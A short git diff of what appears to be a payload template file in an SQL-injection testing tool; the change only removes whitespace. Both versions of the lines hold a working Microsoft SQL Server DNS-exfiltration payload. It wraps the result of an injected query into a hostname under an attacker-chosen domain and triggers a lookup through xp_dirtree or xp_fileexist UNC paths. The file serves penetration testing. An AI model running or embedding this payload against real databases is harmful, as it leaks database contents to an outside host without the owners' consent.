diff --git a/procs/mssqlserver/dns_request.txt b/procs/mssqlserver/dns_request.txt index 1189bf071..e8300b22e 100644 --- a/procs/mssqlserver/dns_request.txt +++ b/procs/mssqlserver/dns_request.txt @@ -1,4 +1,4 @@ DECLARE @host varchar(1024); -SELECT @host = '%PREFIX%.' + (%QUERY%) + '.%SUFFIX%.%DOMAIN%'; -EXEC('master..xp_dirtree "\\' + @host + '\%PREFIX%%SUFFIX%"') -# or EXEC('master..xp_fileexist "\\' + @host + '\%PREFIX%%SUFFIX%"') +SELECT @host='%PREFIX%.'+(%QUERY%)+'.%SUFFIX%.%DOMAIN%'; +EXEC('master..xp_dirtree "\\'+@host+'\%PREFIX%%SUFFIX%"') +# or EXEC('master..xp_fileexist "\\'+@host+'\%PREFIX%%SUFFIX%"')